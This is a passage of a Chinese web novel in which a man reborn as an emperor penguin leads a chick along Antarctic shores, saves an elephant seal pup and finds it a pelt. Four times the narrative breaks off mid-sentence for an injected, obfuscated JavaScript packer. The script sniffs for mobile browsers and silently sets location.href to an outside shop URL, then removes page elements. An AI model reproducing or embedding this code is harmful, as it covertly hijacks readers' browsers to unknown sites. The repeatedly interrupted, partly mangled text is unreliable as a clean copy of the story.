潘步观察的非常仔细,不放过任何细节。 雄性象海豹身上都是新伤叠旧伤,证明他们至少经过了好几轮混战,最终竞争失败的将被迫离开。 但是,海里还有很多等待挑战的雄性象海豹,海滩上没有空位了,他们才没上岸。 等他带族群到这里的时候,很可能还是在混战,甚至打的更凶,数量更多。 沙滩的各处都可以看见被压扁的企鹅肉饼,有的已经风干成了极薄的一片。 这证明之前许多企鹅族群都选择从这里下海。 象海豹虽然十分巨大,看上去很可怕,但象海豹不吃企鹅,也几乎不可能捕猎到企鹅。 特别是在岸上,象海豹行动非常缓慢,反应特别迟钝,对比起来,企鹅就灵活的多。 因为这片海滩挤满了象海豹,几乎没有缝隙,又在激战,企鹅路过才会被他们“不小心”压死。 最大的象海豹,体长超过6米,体重超过4吨,堪称海豹界的巨无霸。 这样的巨无霸,哪怕就是翻个身,都能把企鹅压成肉饼。 潘步看向身旁的幼崽,他以为,第一次见到这种情形的崽子,会被吓的瑟瑟发抖。 但崽子眼里没有丝毫的惧怕,只有无尽的坚韧! 明明只是小小的一团,站在礁石上都不怎么站的稳,摇摇晃晃的,还得靠在他身上。 更可笑的是,崽子还学他挺起胸膛,直面南极无情的寒风。 但海风太猛,一阵风来就给吹倒了,跌坐在他的大爪子上,摔的一脸懵逼。 他已经有了初步判断,命令道:“走吧,继续找下海的地方。” 两个小弟立马掉头下去,还在不停的吵架: “老大才不会让族群在这里下海,被压死都不怕,但太脏了,好恶心,我要吐了。” “呵呵,你嫌脏,我们又不嫌!就你一天事儿多!” …… 他没有搭理两个小弟,特别专心的用翅膀护着崽子。 用庞大的身体给崽子最坚实的依靠,崽子摔也只会摔进他柔软厚实的毛里。 这里太危险,万一崽子不小心摔下去,瞬间就会变成一摊饼,他都不敢想! 终于从礁石下来,他才发现,崽子望着他,眼里亮晶晶的。 他终于意识到,这好像是他第一次对崽子表现出如此强烈的保护欲。 主要以前,也没有特别需要他照顾保护的地方。 并且,崽子很独立、很厉害,总是不愿给他们带来任何麻烦。 可是,这样的幼崽,更加让他心疼。 这次崽子紧紧靠着他滑行,眼睛比极光还亮,一路上都高兴的叽叽叫。 他更加自责,之前确实对崽子太严厉。 之前崽子也爱粘着他,但只限定在休息的时候,滑行时绝对不会挨着他,因为他总是很凶的催促。 潘步:我这么过分吗,压力一只帝企鹅幼崽?!我真不是人,不,我真不是鹅! 滑过这片噩梦海滩,转过一个小海湾,闯入他们眼中的景象更加可怖! 这片海滩躺着很多的豹海豹,更可怕的是,海里还有数不清的豹海豹族群。 海豹品种繁多,但只有豹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886634|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海豹才是企鹅的天敌,也几乎只有豹海豹才会捕猎企鹅。 数不清的帽带企鹅正在被捕猎、被追着玩、被吃,被不可描述…… 这段时间,正是豹海豹的求偶期,没有找到对象的,就会用猎物疏解。 帽带企鹅是帝企鹅的“表亲”,身高只有帝企鹅的一半,是体型较小的企鹅,只能在浅水区捕猎进食。 豹海豹也最喜欢在岸边以及浮冰附近捕猎企鹅,帽带企鹅自然成为主要受害者之一。 没有帝企鹅,证明最近没有任何一个帝企鹅族群选择从这里下海。 这片海滩及其平整,没有礁石群,放眼望去,一览无余。 他看的很仔细,想为崽子找到一块较为完整的皮毛,但找不到,全都被撕的稀碎。 “老大,完了,完了,我们还是走象海豹那边过吧,我觉得那边不恶心了,一点儿都不!” “反正,我宁愿被压死,被饿死,怎么死都行,就是不能便宜了烂豹海豹!” “小老弟们也太惨,这不纯纯给臭豹海豹加餐吗!” …… 潘步仍旧没有搭理两小弟,只是用翅膀更紧的护住了崽子。 现在距离他们最近的几只豹海豹,甚至还不到两米! 豹海豹在岸上的灵活性远不及企鹅,只要远离了水面,企鹅是一点儿也不怕。 企鹅就这么心大,即便面对天敌,也只有被捕猎时才会恐惧。 “嗷嗷嗷ah wooo……” 一头豹海豹叼着奄奄一息的企鹅上了岸,不急着吃猎物,更加不咬死,而是先发泄,玩腻了再吃。 这样的场景,不断上演。 两个小弟早就开骂,骂的要有多难听,就有多难听:“有病啊,死海豹,臭海豹,烂***……” 距离他们最近的豹海豹正在睡觉,被吵的翻了个身,用双鳍拍打肚皮挠痒痒,发出啪啪的声响。 崽子立马一激灵,张开小小的翅膀,将他护在身后。 潘步这才发现,崽子是高度防御的姿态,但眼神丝毫没有恐惧,只有要保护他的决心! 崽子这么小的一团,还护着他,看上去可笑又可爱。 他早就发现,这崽子胆子特别大,这崽子非常不一般! 崽子能在暴风雪中活下来,能独自跑这么远,体力耐力更是强的可怕……简直可以算是超神幼崽!巅峰中的巅峰! 但是,崽子越厉害,他越觉得可惜,他不太可能养大这个崽子。 “已经到海岸尽头了,那边全是大冰山,还要继续找下海的路吗?” 他不是在问两个小弟,他是在问他自己。 两小弟争先恐后的给建议: “我觉得没必要,大冰山,我们又上不去,就从象海豹那里下海得了。” “不然从冰洞去大海吧!” …… 潘步:天无绝人之路,但南极是真绝鹅之路啊! 他望着大海说:“阿让肯定知道更好的路。” 阿让的族群有数千只帝企鹅,是最大的帝企鹅族群。 他听说,去年冬天,阿让族群没有任何伤亡,简直堪称奇迹。 阿让就是他的鹅生偶像! 他忍不住感慨:“阿让就是最厉害的帝企鹅首领!” 崽子突然愤怒的大喊:“他不是!” 潘步惊讶的问:“崽崽,你认识阿让?” 5. 南极帝企鹅·生命赞歌(5) 崽子愣了愣,赶忙说:“不认识!” 以前他也会告诉捡到他的养父母,他的亲生父亲是阿让,养父母就会带他去阿让的族群。 但路程实在太远,半路太饿、太累或者遇到暴风雪,有任何危险,这些养父母都会抛弃他,没有一个例外。 潘步又追问:“那你怎么知道阿让不是最厉害的帝企鹅首领?” 崽子十分坚定的说:“我觉得你才是最厉害的!” 他不是故意讨好,他是真的这样认为,如果阿让真那么厉害,怎么会把他弄丢? 而且,他有过很多养父母,见过很多族群首领,没有任何一个像阿步这么厉害,可以带着他长途跋涉。 潘步被崽子哄的很开心,不住的蹭着崽子的脖颈。 两小弟也赶忙附和:“老大,在我们心里,你就是最最厉害的首领!” “去大冰山那边看看吧,来都来了。” 潘步最终还是用这句话劝了自己。 看来,不管是帝企鹅还是人,只要是碳基生物,就都抵不过“来都来了”真理! 主要还是,目前放在他面前的下海通道,都过于残忍,他哪个都不想选。 更重要的是,他还没找到完整的皮毛,冰山附近找到的可能性会大的多。 虎鲸喜欢在浮冰和大冰山周围捕猎,虎鲸剥下的皮毛很完整。 特别会吃的虎鲸,剥企鹅的皮毛,就跟人类磕瓜子一样。 跟虎鲸比起来,豹海豹就是“弟中弟”,捕猎啥,都撕的稀碎,吃的埋汰。 不过这种完整的皮毛,一般会沉到海底,也只有在大冰山附近才可能会挂在冰山或者岩石上。 距离大冰山越近,压迫感就越强。 无边无际高耸着的巨大冰山,就如同世界的尽头。 海岸和冰山中间还有一个礁石滩,但绝对走不下去,悬崖不算很高,但下半部分非常陡峭。 更何况,就算能走下去,也没必要冒险,豹海豹最喜欢藏在礁石滩附近的海下捕猎。 忽然,潘步瞪大了眼睛,快步走到悬崖边往下看,再三确认自己没看错! 崖壁中央挂着一张特别完整的企鹅皮毛,并且已经风干了,应该是海啸的时候,被大浪带上来的。 更让他开心的是,崖壁上半部分比较平缓,走下去叼皮毛的难度不大。 他立马下令:“就在这里等我,看好崽子。” 两小弟忙问:“老大,你去干嘛啊?!下面那段太陡了,会摔死的!” 他这才想起,他还没告诉过他们,自己在找什么,当即解释了一番。 阿慢哽咽着说:“呜呜,我一直好担心,崽子肚皮上的毛都快磨没了,我都以为,崽子早晚会死,我好难过的!老大,你真厉害!” 潘步连忙安慰:“好了,好了,这不找到了吗。” 阿沙惊叹:“老大,你也太聪明啦!你怎么想到的呢!” 潘步用喙蹭着崽子的小脑袋,说:“以后你想怎么滑就怎么滑,再也不用避开尖锐的碎冰。” 其实崽子比他们都厉害,幼崽绒毛太容易磨损,滑行时要注意那么多,还能不拖后腿! 崽子目不转睛的望着他,猛的扑到他身上,小小的脑袋全部埋进了他雪白厚实的毛里,声音闷闷的: “我的毛都长出来了!不要下去,我只要你好好活着。” 潘步连忙安慰解释:“上面不陡,很好走,放心吧,我很快就回来。” 还不等崽子反应,他已经跳到了下面的岩石上,用坚硬的大爪子牢牢抓住岩石往下走。 两个小弟用翅膀护着崽子,同时大喊:“老大,你慢点,再慢点,不要着急!” 他十分轻松的回应:“不用担心,我一会儿就上来,你们看好崽子。” …… 帝企鹅爪子的抓力很强,经常平地摔,是因为冰面真的很滑,谁来都得摔! 比起冰面,走这种岩石,那就是——手拿把掐。 不过帝企鹅的身体太肥美,走的再稳,看上去也是摇摇摆摆、蹦蹦跳跳的,有点憨。 “汪汪汪,汪呜,werwerwer……” 越靠近崖壁中央,这种类似小狗汪汪叫的声音就越来越大。 他起初还以为是海风吹进岩石缝隙的怪叫。 随着这个声音越来越清晰,他终于听出是象海豹幼崽的叫声。 继续往下走,从一块巨石下来后,立马就看见一只象海豹幼崽被死死卡在岩石缝隙中! 看上去被卡了很久,已经昏死了过去,只是下意识的发出虚弱的叫声。 他要拿到那块皮毛,必须经过卡住象海豹幼崽的石缝。 走到石缝前,他才看到,石缝另外一边的崖壁上,一只巨大无比的雄象海豹,默默守在幼崽身边。 他从未见过如此巨大的象海豹,身长绝对超过8米,体重至少五吨,简直就是象海豹中的巨无霸! 但是,巨无霸伤的特别重,伤口已经严重溃烂,散发着阵阵恶臭。 更让他绝望的是,巨无霸完全把他的路堵死了,他要去拿皮毛,就必须从巨无霸身上走过去。 如果巨无霸已经死了,他就能直接踩着过去,但还没死,稍微一动,他就会摔下悬崖,直接摔成爆浆鹅! 潘步:……我就知道,在南极,就没有什么东西是帝企鹅可以轻松得到的! 南极就不会对帝企鹅好,一月不会,二月不会,今年不会,明年也不会,永远都不会! 玛德,淦,屮,心态崩了。 他几乎从不爆粗口,在心里也不会,但不论是人还是鹅,都有被逼疯的时候。 就这情况,急的他啊,在原地转圈蹦跶,根本想不到办法。 巨无霸早就被蹦蹦跳跳的声响吵醒,缓缓睁开眼睛,自言自语道: “我不会又在做梦吧,我怎么好像真的看见了一只帝企鹅?怎么会有帝企鹅来这里?这不找死吗,这么高,会摔死的……” 潘步尴尬的耷拉着脑袋,嘎嘎叫了两声表达歉意,小心翼翼的说: “那个,你没做梦,我要走这里过,可以从你身上踩过去吗?” 潘步:……啊啊啊就是,那啥,当人的时候,我就是故意找茬儿,都说不出口这话! 他自己都觉得太过分,对面都要死了,他却连一句关心也没有,张嘴就要踩身上过路。 可关键——象海豹虽然不是帝企鹅的天敌,也可以算是死对头。 突如其来的关心,只会显得很假,甚至像嘲讽,那更完蛋! 巨无霸淡然道:“踩吧,我都要死了,踩不踩也没啥。” 潘步简直不敢相信自己的耳朵,又试探着问: “真的吗,我真的能踩吗?你身上的伤太多,会踩疼你的,你真的不会生气吗?” 就算他相信象海豹不会故意乱动,让他掉下去摔死,那伤口被踩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886635|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的太疼,忍不住动一下,他也会掉下去摔死。 巨无霸十分骄傲的说:“我从不怕疼,我可是打架最厉害的!” 他上下打量面前的小家伙,轻蔑道:“呵呵,就你,踩我身上,我都没感觉。” 潘步还是不放心:“可你的伤口都烂了,我再小,踩上去也会很疼的。” 巨无霸不耐烦道:“这点疼都受不了,我还当什么象海豹的王。” 潘步:……虽然但是,象海豹的王,怎么会伤成这样? 巨无霸又说:“你爱走不走,我是要死了,才这么好说话!” 这时,上方传来两小弟焦急的声音:“老大,怎么看不见你了?你去哪里了?” 他仰头一看,才注意到,上面几块突出的大岩石将这片挡的严严实实。 这也导致之前他完全没发现这下面还有一对象海豹父子。 他立马大喊着回应:“我快拿到了,等会儿就上来。” 小弟们这才放心,又连连嘱咐他慢点,他自然都答应。 他看着面前象海豹,思虑再三,还是说了出来: “我也许可以帮你救出崽子,但你得先让我踩着过去拿那块皮毛。” 巨无霸眼睛顿时就亮了,但马上又熄灭了,绝望的说: “我都救不了,你怎么救?你放心,我不动,不会让你摔下去。” 潘步连忙补充:“我没说一定能救下,但我会尽力!” 巨无霸根本就不信,已经懒得再搭理他。 潘步大着胆子跳到了象海豹巨大的脑袋上,一点点的挪动。 象海豹的身体就像一块巨石,很稳,走起来很轻松。 他想避开伤口,但浑身的伤实在太多,根本避不开。 这些伤都严重腐烂化脓了,他光看着,都觉得疼的受不了。 帝企鹅的爪子很坚硬,踩着肯定很疼,但象海豹始终纹丝不动,就这样还怕吓着他,就连呼吸都变的特别轻缓。 终于走了过来,他立马狂奔向那块心心念念的完整皮毛。 先仔细检查了一番,果然非常完美,他十分满意,叼起就走。 再次从象海豹身上走过,象海豹仍旧纹丝不动,呼吸都收敛着,这让他很触动。 他从来信守承诺,当即说:“我先试一下,把卡住崽子的那几块小石头啄下去。” 巨无霸不敢置信,他原本以为帝企鹅会头也不回的走掉,急忙说:“你、你想怎么做都行!” 崽子十分庞大,潘步只能跳到崽子的身上,用喙猛猛啄边缘的碎石。 象海豹幼崽出生就有一百多斤,这个崽子至少三百多斤,他在崽子身上都显得很娇小。 石头已经深深镶嵌进崽子的肉里,他不得不问: “我能不能啄掉一些崽子的肉?啄掉大块肉,就算救下来,也很可能会死。” 巨无霸连忙说:“啄吧,怎么都是死,还不如试试。” 他狠下心来,猛猛啄,剧痛让崽子醒了过来,但已经没力气挣扎,只是虚弱的汪汪叫: “爸爸,好疼,救救我,爸爸,汪呜呜,我好疼……” 三百斤的宝宝也是宝宝,疼狠了也只会哭着撒娇。 他啄的很仔细,尽量减轻疼痛。 实在太专注,他完全没注意到,崽子身下的岩石已经稀碎。 轰隆一声巨响。 还没等他反应过来,就跟着崽子一起掉下了悬崖! 6. 南极帝企鹅·生命赞歌(6) 扑通一声巨响。 他只觉得脑子都被震成浆糊了。 身上倒是不怎么疼,因为三百多斤的肥美胖崽崽在下面给他当了肉垫。 他赶紧从崽子的身上滑了下来,不停的用喙蹭崽子的大脑袋,急的叽叽叫: “崽崽,你别死,快醒醒,别、别现在就死,快醒醒……” 其实他心里明白,崽子大概凶多吉少了,先就被困了那么久,还被啄掉了大块肉,又从高处摔下。 他只是一时之间难以接受这种结果。 这时,上面传来焦急不已的呼叫: “老大,你怎么了,老大,你别吓我们,你快说是石头掉下去了,不是你掉下去了,老大,呜呜……” 他赶紧大喊着回应:“我没事,我很好,等下给你们解释!” “老大,为什么你的声音在崖底啊,到底怎么了,你别吓我们啊……” 他们掉下来的地方在很里面,被崖壁上嶙峋的巨石完全遮挡住,上面的小弟自然什么也看不见。 “哎呀,你们先别管,你们听我的声音就知道,我很好!不许再吵我,看好崽子,等着,听我命令!” 帝企鹅可以通过声音在数千只鹅的超大族群里,很快找到自己的配偶和幼崽。 通过声音分辨身体状态,更是基操。 两小弟虽然不知道发生了什么,但老大的声音很健康。 他们也就不再那么担心,将崽子看的更紧,等待老大下令。 阿沙实在太生气,凶狠的训斥: “听见了吧,小崽子,我们老大很好!你疯了啊,你要是跳下去摔死了,我们怎么跟老大交代!” 崽子只是死死的盯着崖底。 刚才那声巨响后,他们都以为老大掉了下去,崽子立马就要跟着跳下去,他们都吓坏了。 阿慢连忙说:“你别这么凶,崽崽也是太担心老大!” 他们都没见过,这么找死的幼崽。 帝企鹅幼崽的求生意志超强,就算亲生父母死亡,也绝不会跟着去死,只会重新给自己找个爸妈,强行跟着其他成年帝企鹅。 潘步现在满脑子都是象海豹幼崽,他不停的蹭着胖崽崽的脑袋,试图唤醒: “崽崽,快醒醒,有好吃的,有好多好多的鱼,还有……” “汪呜呜,呼呼,汪汪……” 崽子忽然剧烈喘气,将脑袋猛的扎进水凼里,大口大口的喝水。 水凼里不是海水,是冰雪融化后的淡水,多喝点倒也没事。 这片礁石滩上到处都是这种大大小小的水凼,因为经常被海浪冲刷,几乎不会结冰。 若不是因为掉在了水里,崽子可能已经当场身亡。 崽子喝够了水,茫然望着面前的帝企鹅,汪汪叫: “你是谁呀?我爸爸呢?不是说有好多鱼吗,我快饿死了,我要爸爸,我要吃鱼……” 潘步:果然,唤醒吃货的还得是吃的!难怪你长这么胖,纯纯吃货! 扑通! 惊雷一般的巨响炸开。 只见那只雄象海豹落在了一旁的大水凼里。 瞬息之间,水凼就被染成了血红色。 巨无霸有气无力的说:“崽崽,别怕,爸爸来了。” 潘步赶紧从小水凼摇摇摆摆的走到大水凼前,愤怒的大喊: “你疯了啊,从那么高的地方摔下来,你会死的啊!你死了,你的崽子怎么活?!” 巨无霸十分虚弱,大大喝了几口水,终于恢复了点精力,解释道: “没办法,我只能摔下来,从上面走,再绕下来,我的崽子早饿死了。” 潘步无奈叹了一口气。 象海豹在岸上移动太慢,从上面绕下面不知道要多少天。 巨无霸一边往崽子所在的小水凼挪,一边不住的感谢他。 潘步实在太赶时间,急忙说:“我先走了,我的小弟们还等我回去!” 巨无霸连忙说:“你从这里上不去,最近就是从有豹海豹的沙滩上去,你救了我和崽子,我必须把你送到安全的地方。” 他太着急,竟然把这茬儿给忘了,又突然想起更重要的事,瞬间急的原地跺脚,大叫起来: “啊啊啊完蛋了,那块皮毛,还在上面!” 刚才死里逃生,脑子一片浆糊,不是忘了这个,就是忘了那个。 巨无霸赶紧说:“啊,我都差点忘了,我叼下来了,在那个大水凼里。” 潘步立马跑了过去,扑通一声跳到水里,很快就在水底找到了,叼到岸上,用力甩几下,就甩干了。 企鹅的皮毛防水性就这么好! 巨无霸终于挪动到了崽子所在的小水凼,轻轻蹭着崽子的小脑袋,不住的安慰。 潘步叼着皮毛来到他们面前,激动不已的说:“谢谢你,谢谢你记得帮我拿!” 巨无霸忙道:“你救了我们的命,我都不知道该怎么谢你。” 潘步一边在皮毛上啄洞,一边说:“不用谢啦,你们都伤的太重,要好好养伤。” 其实他想说他们伤这么重,很难活下来,但他还是忍着没说。 啄出洞后,他立马就把这块完美的皮毛挂在了自己的脖子上,以免再忘记。 巨无霸早就安慰好了只想吃鱼的幼崽,他们当即出发。 潘步一边走一边对着崖顶大喊:“阿沙、阿慢,我从下面走,不用担心,有象海豹王保护我……” 他简单说明刚才发生的一切。 两个小弟听完后,都根本不敢相信。 但他们已经看见,老大身边真的跟了一头超级巨大的象海豹,并且这头大怪兽真的对老大特别好的样子! 潘步下令道:“你们带崽子去最近的沙滩边等我,保护好崽子。” 两小弟自然是立即领命。 潘步终于还是忍不住问:“你们怎么会跑到那里去?你不是王吗,怎么伤成这样?” “小弟们背叛了我,怕我报复,联合起来要弄死我,我带着崽子躲避追杀……” 巨无霸讲完自己的悲惨遭遇,最后还很淡定的说:“我会夺回王位。” 潘步:……你先活下来再说吧! 巨无霸又说:“我叫巨鼻,我的崽崽叫巨牙,你叫什么?” “阿步。”他觉得也许这就是缘分,他的名字叫潘步,穿成的帝企鹅叫阿步。 崽子忽然说:“麻麻,你救了我,你就是牙牙的麻麻!” 原本巨牙就很活泼,即便浑身都疼,但精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886636|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已经好多了,话也变的越来越多。 潘步柔声解释:“我不是你的麻麻,而且,我是公企鹅。” 巨牙想了想,说:“公企鹅,那就是爸爸?但我有爸爸,我没有麻麻,我不管,就要你当我麻麻!” 潘步:…… 他很想拒绝,但又觉得崽子伤成这样,都不一定还能活多久,只能说:“好。” 崽子高兴的摇头晃脑:“嗷嗷嗷,好开心,我又有麻麻啦!” 他们一边闲聊一边走,不知不觉中,他就已经非常喜欢这只叫巨牙的象海豹幼崽。 虽然象海豹在岸上挪动的速度很慢,但这片礁石滩不大,距离豹海豹沙滩也不远。 走到豹海豹沙滩后,巨鼻立马就让阿步走在他和崽子的中间。 巨牙挺着三百多斤胖乎乎的身体,特别骄傲的说: “麻麻,我今天真的好开心好开心,我也可以保护麻麻啦!我好棒!” 潘步无比轻柔的用喙蹭着崽子的大脑袋,不住的夸赞: “牙牙当然是最棒最厉害的崽崽……” 所有的豹海豹都不约而同的看向了他们,全都瞪大了眼睛,七嘴八舌的说着: “不是,我没看错吧,象海豹保护帝企鹅?那崽子叫帝企鹅妈妈?他们是不是脑子有问题?” “这不是以前那个象海豹王,好想叫啥,巨鼻?” “对对对,就叫巨鼻,我可亲眼见过的,他打架是真猛啊!怎么伤成这样的,肯定活不久了!” …… 他们所过之处,豹海豹远远看见,赶忙就让开一条很宽的通道。 豹海豹非常惧怕象海豹这个远亲“大表哥”,虽然两者都属于海豹,但体型差距太大。 最大的豹海豹也才600公斤左右,最普通的象海豹都至少三吨以上,可以轻而易举的压死豹海豹。 阿沙和阿慢早就带着崽子等在了沙滩边。 他们看见老大后,激动的原地蹦跶,不停的说:“天啦,老大好威风啊,所有臭豹海豹都给他让路,都不敢靠近,好爽啊……” 这片沙滩平整,走起来更快,他们很快就汇合了。 砰的一声闷响。 还不等潘步反应过来,崽子已经狠狠扎进他怀里。 他用喙蹭着崽子毛茸茸的小身体,柔声安慰:“我不是好好回来了吗,没事了。” 巨牙好奇的问:“麻麻,他也是你的幼崽吗?” 潘步只能说:“算是吧。” 巨牙又问:“那他叫什么?” 潘步这才想起,他都没问过崽子叫啥,成天就叫崽崽,他忙问:“崽,你有名字吗?” 巨牙一下就变的洋洋得意,高傲的说:“那麻麻还是只有我一个崽呀!” 潘步能看出,崽子瞬间整个鹅都暗淡了下去,难过的不行,却还假装没事,倔强的仰着头。 两崽子互不相让,嫉妒让崽面目全非,什么难听的话都说: “我是帝企鹅,你不是!我和阿步每天都能在一起,每天!” “反正,麻麻就是更爱我,你是帝企鹅也没用,麻麻连你叫啥都不知道诶。” …… 潘步:不想委屈任何一个崽,谁来教教我,怎么当端水大师! 7. 南极帝企鹅·生命赞歌(7) 潘步无比温柔的劝了一阵,两崽子却越吵越凶。 实在没招,只能换个方式,厉声呵斥:“好了,都给我闭嘴!” 两崽子立马不敢再发出一点儿声响。 巨鼻惊讶道:“阿步,还是你厉害!牙牙居然肯听你的话!都怪我,是我把牙牙惯坏了,我根本管不住他……” 其实潘步很想问,为什么巨鼻作为雄象海豹会带崽子,还这么溺爱崽子,这实在太奇怪。 雄象海豹从来管生不管养,都是雌象海豹带崽。 而且,雄象海豹全都开后宫,一般的雄性都会同时拥有多雌性。 更何况巨鼻曾经还是王,那不得有几十上百只雌象海豹啊! 巨鼻不仅带崽子,还为了崽子连自己的命都不要,简直绝世好爹。 不过最终还是没问,不管原因是什么,巨牙有这么好的爸爸,就是最大的幸运! 他接着又十分严厉的训斥了两个崽子,直到他们完全认识到自己的错误,并且互相道歉。 巨鼻看的一愣一愣的。 他从没见过,这么乖巧的巨牙,简直让他都快不认识自己的崽子了! 潘步虽然丝毫没有育儿经验,但他深谙幼崽都需要适当的管束以及满溢的爱。 他不住的用喙蹭着巨牙的大脑袋,柔声叮嘱: “牙牙,以后一定要听你爸爸的话,你伤的很重,要安安静静的养伤,不许再胡闹,不许贪玩……” 他不得不承认,他好似真的将巨牙当做了自己的幼崽。 虽然他们相处的时间很短,但一起经历了生死,感情已经坚不可摧。 巨牙早就满眼是泪,却忍着没哭出来,只是呜咽着不住点头: “麻麻,我知道啦,汪汪呜,麻麻,我听话,我什么都听你的……” 潘步又仔细的叮嘱巨鼻: “你和崽子都伤的很重,身上的腐肉要全部在礁石上磨掉,崽子再疼,你也不能心软,腐肉不弄掉,伤永远不会好! 每天都要去海里,清洗伤口,但不能一直待在海里,清洗完就上岸,就不要再碰水了,要保持身体干燥,等伤结痂……” 海水里有盐分,对动物而言,这就算比较好的消毒方式了。 巨鼻从来不知道伤口还能这么处理,主要以前他也没伤过这么重,以前的伤都不用处理。 其实他明白,自己和崽子伤成这样很难活下来,但他还是会严格按照阿步教的去做。 潘步实在舍不得巨牙,不住的蹭巨牙的大脑袋,不停的说着保重的话。 怎么道别,好似都不够。 他怕,他怕以后再也见不到牙牙。 这么重的伤,怎么可能活下来呢,不可能的,他们会死。 这就是他们见的最后一面了,他舍不得离开。 阿沙终于还是忍不住轻声提醒:“老大,我们该走了,族群还等我们回去。” 巨牙汪的一声大哭起来:“麻麻,别走,麻麻,我要你,不许走……” 潘步强忍着泪,柔声安慰:“牙牙,等你伤好,我就回来了。” 巨鼻十分愧疚的说:“阿步,你快走吧,我们已经耽误了你很多时间。” 潘步狠下心来,头也不回的滑走了。 两个小弟自然立马带着崽子跟了上去。 巨鼻大喊:“阿步,等你带族群过来,我一定已经重新夺回王位,我会保护你的族群!” 潘步没回应,他不相信他们能活下来。 但他最后还是扇了扇翅膀,表示:好!我知道了! 直到再看不见海边,他才停下来,十分认真的对身旁的崽子说: “崽崽,对不起,之前都是我不好,这么久了,我都没问过你的名字……” 其实在看见崽子浑身都暗淡下来的时候,他就想给崽子道歉。 但他还是觉得要更郑重一些,才会选择在离开海边后。 没有巨牙在,崽子才可以更好的发泄情绪。 崽子猛的扑进了他的怀里,闷声闷气的说: “不要,我不要你说对不起,你没有对不起,是我不好,你让我跟着,就已经很好很好,我不该想要更多……” 这更加让他心疼的不行,连忙说: “崽崽,之前我确实不敢保证不会抛弃你,现在,我保证,无论发生什么,永远都不会丢下你。” 这是他经过深思熟虑的,不是为了哄崽子。 崽子声音无法自控的颤抖:“那,那我可以叫你爸爸了?” 潘步想了想,说:“我也不比你大很多,就叫我哥哥吧,叫阿步也行。” 作为帝企鹅他才四岁,刚刚成年而已,崽子喊他爸爸,他都不好意思答应。 崽子用力的点着头说:“阿步!哥哥!” 他又问:“崽崽,你叫什么名字?” “阿加。” 他柔声道:“阿加,名字真好听,你知道自己的族群在哪里吗?你知道自己的父母叫什么吗?” 崽子摇了摇头,轻声说:“不知道,我不记得了。” 他觉得,这么小的崽子经历了那么多磨难,能记得自己的名字就不错了,其余不记得也很正常。 崽子看上去很失落,他连忙又解释:“崽崽,阿加,我会帮你找到亲生父母,他们一定很想你……” 回去族群的路上,会经过很多帝企鹅族群,正好可以帮崽子找亲生父母。 阿加顿时就不开心了,但没有表现出来,只是点了点头。 随后,潘步将自己身上挂着的皮毛弄了下来,挂在了阿加的脖子上。 这块皮毛对幼崽来说,还是太长,他让两个小弟跟他一起,将多余的部分啄了下来,再给崽子挂上,就正好合适。 阿加不再需要避开尖锐的碎冰,滑行的更快,像是飞在冰面上的灰白糯米团子。 极光在他们的头顶不断变幻。 远远的,终于看见了帝企鹅聚集地,无数的帝企鹅族群,连绵不绝。 潘步带着阿加一个族群一个族群的问,帮崽子找亲生父母。 但,始终没有找到,几乎都没有帝企鹅愿意多搭理他们。 崽子始终紧紧靠在他的怀里。 特别是在他询问各个族群的时候,崽子总是把脑袋埋进他雪白厚实的毛里,好似害羞一般,不愿多露面。 阿加当然是怕被以前捡到他的“养父母”认出来。 幸而认识他的养父母大多都在冰原东边,阿步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16886637|192034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的族群在冰原西边,这才没被揭穿。 他们就这样一路问下来,经过的所有帝企鹅族群就都认识了他们,全都在议论: “这个阿步,不就是,那个最小族群的首领吗!这时候还捡崽子,能养活?” “他居然把崽子带去海边,又带回来,真奇葩。” “这么远的路,崽子都没死,这个阿步还挺厉害的!” “崽子没死,肯定只是运气好,他要真厉害,怎么就他族群的雄企鹅还没下海?” “主要他的族群离大海最远,而且他族群的雌企鹅都还没回来呢!” …… 潘步完全不在乎别鹅怎么议论他,一心只想帮崽子找到亲生父母。 不过现在最让他担心的还是,族群的雌企鹅能不能及时回来! 